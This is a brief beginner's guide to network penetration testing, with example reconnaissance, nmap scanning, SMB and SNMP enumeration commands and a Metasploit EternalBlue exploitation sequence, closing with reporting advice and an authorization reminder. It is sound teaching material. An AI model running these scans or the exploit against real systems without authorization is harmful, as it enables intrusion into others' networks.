Network Penetration Testing: Getting Started

Introduction to Network Penetration Testing

Penetration testing simulates real attacks to find vulnerabilities before malicious actors do. This guide covers the methodology and key tools.

Methodology: The 5 Phases

1. Reconnaissance: Gather information passively
2. Scanning: Discover live hosts and open ports
3. Enumeration: Extract service versions and users
4. Exploitation: Attempt to compromise systems
5. Reporting: Document findings and remediation

Phase 1: Reconnaissance

# Passive recon - OSINT
whois target.com
dig target.com ANY
nslookup -type=mx target.com

# Subdomain enumeration
subfinder -d target.com -o subdomains.txt

Phase 2: Network Scanning with Nmap

# Host discovery
nmap -sn 192.168.1.0/24

# Full port scan with version detection
nmap -sV -sC -p- --min-rate 1000 192.168.1.10 -oN scan.txt

# UDP scan (slower but important)
nmap -sU --top-ports 100 192.168.1.10

Phase 3: Service Enumeration

# SMB enumeration
enum4linux -a 192.168.1.10
smbclient -L //192.168.1.10 -N

# SNMP enumeration
snmpwalk -v2c -c public 192.168.1.1
onesixtyone -c community.txt 192.168.1.0/24

Phase 4: Exploitation with Metasploit

msfconsole
msf6 > search eternalblue
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit > set RHOSTS 192.168.1.10
msf6 exploit > run

Common Network Vulnerabilities

• Default credentials on network devices
• Unpatched firmware (MikroTik, Cisco, Fortigate)
• SNMP community string "public"
• Open Telnet/FTP instead of SSH/SFTP
• Flat networks with no segmentation

Reporting

Always document: scope, methodology, findings (with severity), proof-of-concept, and remediation recommendations. Never exploit production systems without written authorization.